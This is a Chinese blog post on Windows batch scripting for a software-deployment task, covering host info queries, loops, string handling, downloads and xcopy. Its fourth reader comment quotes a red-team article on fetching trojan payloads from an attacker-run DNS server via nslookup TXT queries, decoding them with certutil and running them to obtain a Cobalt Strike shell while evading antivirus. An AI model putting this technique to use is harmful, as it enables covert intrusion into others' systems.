Windows批处理脚本编写学习


=Start=

缘由:

前段时间因为工作需要简单学习了一下Windows上batch脚本的编写,已经可以用batch脚本实现一些简单的常用功能,这里简要记录一下,方便以后有需要的时候进行参考。

正文:

参考解答:

起因在于我有一个Windows软件下发安装的需求,但现在软件下发通道那里做的还比较糙,没办法进行一些细粒度的判断和控制,要安装的软件本身也不是特别“智能”,这时我就需要自己写一个batch脚本来实现判断是否安装、比较安装版本、下载安装文件、上报安装结果和状态的功能。下面就简单记录一下在实现这个功能时的拆解和搜索过程,方便后面参考。

简单来看常规操作就是以下几点:

  • 要知道获取相关信息的命令是什么(比如获取IP用ipconfig命令)
  • 管道/重定向
  • 文件操作(创建/打印/复制/删除/压缩/解压/……)
  • 字符串查找/截取/比较/拼接/切分/……
  • 网络请求
Windows 命令行/batch脚本中如何获取主机系统相关信息?

IP/MAC地址
主机名
操作系统版本
序列号

如果仅仅只是在命令行上面看的话都还比较简单直接:

ipconfig /all
hostname
wmic os get caption
wmic bios get serialnumber

不过如果想把具体的值通过接口进行上报的话就需要进行字符串提取和格式化,Windows上原生的命令/batch脚本处理能力相对Linux要弱很多(主要是Windows的我不熟,PowerShell也不会而且貌似也存在版本差异?),处理起来就麻烦了不少。

比如:for命令的功能有限且限制较多,没办法在 command 那里使用管道操作符,只能先将复合命令的结果重定向到文件里面,然后处理文件内容,这里就涉及到字符串处理了——字符串查找/提取/拼接……Linux上几行命令就能完成的功能在Windows上用batch来实现就需要一段代码,而且还不优美。

for循环中使用变量时的注意事项

# 注意下面2个for循环的不同之处
# 一个有 /f 选项,所有后面的括号里面有双引号
# 一个没有 /f 选项,后面没有 tokens 参数以及括号里面也没有双引号
for /f "tokens=1" %%a in ("%date:/=-%") do (set mydate=%%a)
for %%a in (%time::=%) do (set mytime=%%a)

# batch脚本中 %~dp0 和 %~n0 变量的取值
set tmpfile="%~dp0%~n0-%mydate%.txt"


# batch脚本中for循环使用 call 子例程的方式来更新变量的值(直接用的话值是固定的)
:: set variable ip
set ip=
ipconfig | findstr /i ipv | findstr 1[97]2 >%tmpfile%
for /f "tokens=2 delims=:" %%a in (%tmpfile%) do (
echo %%a
call :subroutine_ip %%a
)
:subroutine_ip
set ip=%1,%ip%
goto :eof

set ip=%ip:~0,-1%
echo %ip%
Windows上如何判断操作系统是32位的还是64位的?
# 操作系统的架构
wmic os get osarchitecture

# 处理器的架构
echo %PROCESSOR_ARCHITECTURE%
batch批处理脚本中如何判断某个变量是否为空值?
IF [%1] == [] GOTO MyLabel
:: or
IF "%~1" == "" GOTO MyLabel
batch批处理脚本中如何判断字符串是否不相等?
if NOT "asdf" == "fdas" echo asdf
batch批处理脚本中如何进行字符串截取?
语法:
%variable:~start_index%
%variable:~start_index,end_index%

:: 截取ip变量子串,去掉最后一个字符
set ip=%ip:~0,-1%
bat批处理中的注释语法
:: comments here
Rem comments here
bat批处理中如何做字符串替换
@echo off 
set str=This message needs changed. 
echo %str% 

set str=%str:needs=has% 
echo %str%
batch批处理脚本中如何获取当前的日期时间?
for /f "tokens=1" %%a in ("%date:/=-%") do (set mydate=%%a)

for %%a in (%time::=%) do (set mytime=%%a)
Windows下如何进行文件下载和HTTP请求操作
powershell -Command "(New-Object Net.WebClient).DownloadFile('https://ixyzero.com/blog/awk_sed.txt', 'awk_sed.txt')"

powershell -Command "Invoke-WebRequest https://ixyzero.com/blog/awk_sed.txt -OutFile awk_sed.txt"

curl -o awk_sed.txt https://ixyzero.com/blog/awk_sed.txt
Windows的命令行下的文件操作
# 创建空文件
type nul > filename.txt
copy NUL EMptyFile.txt
copy /b NUL EmptyFile.txt
echo. 2>EmptyFile.txt
REM. > empty.file
fsutil file createnew file.cmd 0 # to create a file on a mapped drive

# 创建指定大小的文件
fsutil file createnew filename.txt 1000

# 打印文件内容,类似于Linux上的cat命令
type filename.txt

# 删除文件,类似于Linux上的rm命令
del filename.txt

# 查看当前目录下有哪些文件,类似于Linux上的ls命令
dir

# 创建目录
mkdir dir_name

# 删除目录
rmdir dir_name
Windows的命令行下的复制
# 无任何选项,仅复制文件,不复制目录
xcopy \path\to\source \path\to\dest

# 无任何选项,目标是一个还没创建的目录,需要交互式互动才可继续
xcopy \path\to\source \path\to\dest\none_exist_dir

# 借助管道将上面的命令从交互式改成静默执行的
echo d | xcopy \path\to\source \path\to\dest\none_exist_dir

# 添加 /e 选项,复制包括空目录在内的目录和子目录,但是如果有同名文件,则会需要交互以确定是否进行覆盖
xcopy /e \path\to\source \path\to\dest

# 添加 /e 和 /y 选项,直接复制包括空目录在内的目录和子目录,如果有同名文件,直接进行覆盖即可
xcopy /e /y \path\to\source \path\to\dest

# 简而言之,一个简单实用的xcopy命令就是——直接将源目录拷贝到一个之前不存在的目录下
echo d | xcopy /y /e \path\to\source \path\to\dest\none_exist_dir

xcopy /?
...
  /S           复制目录和子目录,不包括空目录。
[*]  /E           复制目录和子目录,包括空目录。与 /S /E 相同。可以用来修改 /T。
[*]  /C           即使有错误,也继续复制。
[*]  /I           如果目标不存在,且要复制多个文件,则假定目标必须是目录。
  /Q           复制时不显示文件名。
  /F           复制时显示完整的源文件名和目标文件名。
  /L           显示要复制的文件。
  /G           允许将加密文件复制到不支持加密的目标。
[*]  /H           隐藏文件和系统文件也会复制。
  /R           覆盖只读文件。
  /T           创建目录结构,但不复制文件。不包括空目录或子目录。/T /E 包括空目录和子目录。
  /U           只复制已经存在于目标中的文件。
  /K           复制属性。一般的 Xcopy 会重置只读属性。
  /N           用生成的短名称复制。
  /O           复制文件所有权和 ACL 信息。
  /X           复制文件审核设置(隐含 /O)。
[*]  /Y           取消提示以确认要覆盖现有目标文件。
  /-Y          触发提示,以确认要覆盖现有目标文件。
  /Z           在可重新启动模式下复制网络文件。
  /B           复制符号链接本身与链接目标。
  /J           复制时不使用缓冲的 I/O。推荐复制大文件时使用。
  /COMPRESS    如果适用,在传输期间请求网络压缩。
...
参考链接:

for循环中使用变量时的注意事项
https://ss64.com/nt/for.html

Windows上如何判断操作系统是32位的还是64位的?
https://superuser.com/questions/321988/how-do-i-determine-if-my-windows-is-32-bit-or-64-bit-using-a-command

batch批处理脚本中如何判断某个变量是否为空值?
https://stackoverflow.com/questions/2541767/what-is-the-proper-way-to-test-if-a-parameter-is-empty-in-a-batch-file

batch批处理脚本中如何判断字符串是否不相等?
https://stackoverflow.com/questions/1421441/batch-not-equal-inequality-operator
https://ss64.com/nt/if.html

batch批处理脚本中如何进行字符串截取?
https://stackoverflow.com/questions/636381/what-is-the-best-way-to-do-a-substring-in-a-batch-file
https://ss64.com/nt/syntax-substring.html

Batch Script – Comments
https://www.tutorialspoint.com/batch_script/batch_script_comments.htm

How to “comment-out” (add comment) in a batch/cmd?
https://stackoverflow.com/questions/11269338/how-to-comment-out-add-comment-in-a-batch-cmd

Batch Script – Replace a String
https://www.tutorialspoint.com/batch_script/batch_script_replace_string.htm

How to replace substrings in windows batch file
https://stackoverflow.com/questions/5273937/how-to-replace-substrings-in-windows-batch-file/5274061#5274061

batch批处理脚本中如何获取当前的日期时间?
https://stackoverflow.com/questions/203090/how-do-i-get-current-date-time-on-the-windows-command-line-in-a-suitable-format

CURL was added to Windows 10 (1903) from build 17063 or later.
https://ss64.com/nt/curl.html

Windows batch file file download from a URL
https://stackoverflow.com/questions/4619088/windows-batch-file-file-download-from-a-url

Windows的命令行下的文件操作
https://stackoverflow.com/questions/1702762/how-can-i-create-an-empty-file-at-the-command-line-in-windows

Windows的命令行下的复制
https://ss64.com/nt/xcopy.html

=END=


《 “Windows批处理脚本编写学习” 》 有 4 条评论

  1. 如何从命令行获取Windows的系统版本号?
    How to get the ACTUAL version number for Windows 10 from command line? (NOT build number!)
    https://superuser.com/questions/1519110/how-to-get-the-actual-version-number-for-windows-10-from-command-line-not-buil
    `
    >Reg Query “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion” | findstr ReleaseId

    >powershell -Command “(Get-ItemProperty -Path ‘HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion’).ReleaseId”

    >powershell -Command “Get-ComputerInfo -Property WindowsVersion”

    >winver

    >wmic os get /?

    >wmic os get version /value
    Version=10.0.19041

    >wmic os get buildnumber /value
    BuildNumber=19041
    `

  2. 软件下发任务
    `
    1. 获取主机相关信息
    2. 判断X软件是否正在运行(根据运行中进程或是特定路径的文件)
    3. 若正在运行,再判断安装运行的版本,若版本太低就下载升级安装,若版本已是最新则只进行 curl 请求上报主机相关信息用于标记和记录,然后退出
    4. 若没有运行,则下载并执行安装包,然后等一会发送 curl 请求用于记录下载安装情况,再退出

    host/ip/sn/os/agent_proc_list

    涉及到的命令主要就是:
    hostname/ipconfig/wmic/tasklist/findstr/dir/start/curl/powershell/…
    `

  3. windows 技巧篇-查看文件夹被那个进程占用,文件夹占用解除方法
    https://cloud.tencent.com/developer/article/1703311
    `
    有时候我们关闭程序后,发现之前被程序占用的文件夹还是被占用状态。因为一些程序逻辑不完善的原因,常规的关闭并没有彻底的杀死进程。下面给大家介绍下查看占用文件夹进程的方法。

    第一步: 在【任务管理器】的【性能】tab页下面打开【资源监视器】。
    第二步: 在 cpu 页签里的【关联的句柄】处搜索被占用的文件夹路径。然后就能查到占用该文件夹相关的进程,右键结束就 ok 了。
    `

    windows查看占用文件的进程
    https://blog.csdn.net/qq_44098268/article/details/125153189

    windows 查看文件被哪个进程占用
    https://zhuanlan.zhihu.com/p/158119424
    `
    经常当我们删除文件时,有时会提示【操作无法完成,因为文件已在另一个程序中打开,请关闭该文件并重试】,到底是哪些程序呢?

    有时候一个一个找真不是办法,已经被这个问题折磨很久了,今天下决心要把它解决,找到办法了。如果系统是win10/win7,可以这么做:

    在开始菜单中的搜索框内输入“资源监视器”,回车,打开“资源监视器”。

    看下图,在“资源监视器”界面中,点击第二个选项卡“CPU”。在“关联的句柄”右侧搜索框内输入文件名称,点击右侧下拉箭头,就可以查看该文件被那几个程序占用了。

    选中程序,右击选择结束进程。

    现在就可以删除文件了。结束系统进程前最好查一下,看看能不能结束,免得出现问题,那就得不偿失了。
    `

  4. 远程下载的通用替代方案 | 红队攻防
    https://mp.weixin.qq.com/s/Z1zp7klk–uQ1OnzljNESw
    `
    打了这么多的攻防演练了,很多时候我们可以执行命令了,但是没有回显、也不交互、添加加用户远程桌面没开、想远程下载木马有杀软拦截、循环写入遇到负载均衡、或者目标根本不出网

    当然了,一部分兄弟应该是有方法可以上线cs的,比如 certutil 方面的绕过等等吧,但是这些都不是长久之计,杀软随时都有可能把绕过的路堵死,我们是怎么思考这件事的呢?

    * 应对杀软问题–我们使用的方法要么是从来没有人用过的,要么就是把系统或者管理人员常用的功能组合起来
    * 应对负载均衡–要把传递木马载荷+处理载荷+执行[+清理操作] 做成一个原子操作,也就是成为一个整体,一条命令就结束
    * 不出网–利用目标内网DNS或者端口复用
    * …

    接下来我们将以实现Windows只能执行命令且有杀软条件下的木马载荷传递上线cs为例介绍操作背后的“跨时代意义”的思想

    0x01 传递载荷的方式

    大家总结的传递载荷的方式一般包括:
    * powershell
    * certutil
    * vbs
    * Bitsadmin
    * ftp
    * tftp
    * debug
    * msiexec
    * mshta
    * rundll32
    * regsrv32
    * …

    很多很多方法,但是基本上都被360这类的杀软给特殊照顾了,除非使用新的绕过手法,不然根本行不通

    在刚上大学那会儿,打CTF时候遇到过一次签到题考点是 DNS TXT 记录中保存着 flag,那我们是不是可以也通过 DNS TXT 记录进行传递载荷呢?

    在几乎所有的 Windows 系统上都有默认的 nslookup 程序,这个程序就是用来做 DNS 解析的,所以我们可以在几乎所有的 Windows 系统上使用 nslookup 来做DNS解析从而获取载荷。这样我们就有了载荷传递的方式。

    0x02 处理载荷

    获取载荷所在的行——findstr
    对载荷进行拼接
    编码转换——certutil

    0x03 执行二进制程序[+清理操作]

    这里清理操作我作为可选择项来进行考虑,因为通过执行二进制程序你已经获取到了一个 shell,这样的话,你可以通过shell来进行清理,所以这里就不进行清理操作了
    cmd /v:on /Q /c “set a= && set b= && for /f “tokens=*” %i in (‘nslookup -qt^=TXT http://www.mydomain.com

    OK,成功上线 CS

    文章到这里可以结束了,但是以我们团队的风格来说,一定要把这其中涉及的知识点和大坑点说清楚

    0x04 自建DNS服务器

    其实这里涉及两个场景,这也是精彩的地方,但也先不说,我们还是以上面这个案例为主来进行搭建,懂了这个,另一种场景你肯定也会懂的。

    我以一个搞安全的角度去说一说DNS这块,上面案例的命令中我们使用 nslookup http://www.mydomain.com 192.168.31.88
    其中 192.168.31.88 这个参数就是让系统委托 192.168.31.88(攻击者自己搭建的DNS服务器) 来为 http://www.mydomain.com 进行解析,如果不加这个参数,那么系统会使用自己配置的DNS服务器进行解析,可能是内网DNS服务器、路由器、 8.8.8.8 或者本地运营商DNS等等,企业环境可能就是企业内网中自建的 DNS 服务器
    在这种情况下,我们不需要拥有 http://www.mydomain.com 这个域名。简单来想就是目标主机向攻击者DNS服务器发起一个基于UDP 的 DNS 请求,攻击者 DNS服务器想返回什么结果就返回什么结果。这和让目标主机通过浏览器访问攻击者的web服务器情形是一样的,攻击者想返回什么内容就返回什么内容
    听到这里你肯定感到了一丝窃喜对吧,你可以让目标主机向你的DNS服务器发起对 baidu.com 的 DNS 解析,对于baidu.com 解析可能在很多安全设备看来无比正常,同时人工排查的时候也很难发现
    没错,这种自定义解析连接 C&C 的方式已经被国外部分僵尸网络程序使用了,从而绕过了流量设备的检测,隐藏了真实的IP地址。

    0x05 一些大坑问题

    TXT 记录长度问题
    BIND 服务器超长字符配置方法
    UDP 包大小限制
    Centos 默认存在防火墙
    NAT 模式下虚拟机之间不互通(使用 桥接模式 或者直接使用 VPS 就解决了)
    cmd 字符转义问题
    cmd 命令中变量值不变的问题
    cmd 命令中关闭命令本身 echo
    cmd 命令中 for 命令边界问题
    ……

    0x07 为什么说这种思想有“跨时代”意义

    吹牛成分较大,但是确确实实解决了一些问题,还可以引出很多的扩展的思考

    1. 写文件不怕负载均衡设备了
    这个没啥说的,我们把一切变成了原子操作

    2. 一定程度上躲避杀软和流量检测
    我们可以让目标向我们自己的DNS服务器去解析百度的域名,一定程度上会逃过流量检测

    3. 将不出网的主机变成了出网主机
    这点很重要,很多目标单位重要系统虽然不出网,但是这些服务器配置了自己的内网DNS服务器,也就是说他们可以主动通过单位内部的DNS服务器连接外部,如果结合今天讨论的方法,我们可以让这个不出网的主机直接执行一个 DNS隧道的木马 或者 让木马做直接做端口复用,这样可以完成反向隧道或者正向连接,形成控制不出网主机的目的
    下面我们针对目标系统可以执行命令,但是不出网,目标系统配置了它们单位自己的DNS,可以解析DNS这种情况做一下思路整理:
    因为本身不出网,假设 112.112.112.112 是攻击者的DNS服务器 如果我们执行 nslookup -qt=TXT baidu.com 112.112.112.112 这种方式就执行不了了,因为服务器不出网,只能向自己内网配置好的那台DNS服务器发起请求。这个时候我们只能通过买一个域名,之后将域名解析的工作交给 112.112.112.112 来进行攻击
    这个请求就变成了:
    目标主机 -> 内网DNS -> 根服务器等 -> 112.112.112.112
    这样同样可以获取最大 65515 个字符的载荷
    之后木马同样通过这种路径与 C&C 进行连接

    4. 这种思想几乎适用于所有的系统
    这个没啥说的,就是字符处理命令上的不同,Windows、Linux、Mac、AIX等

    5. 这里只是利用了DNS协议和nslookup,其他呢?
    这里留白,留给更多愿意思考的安全人
    `

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注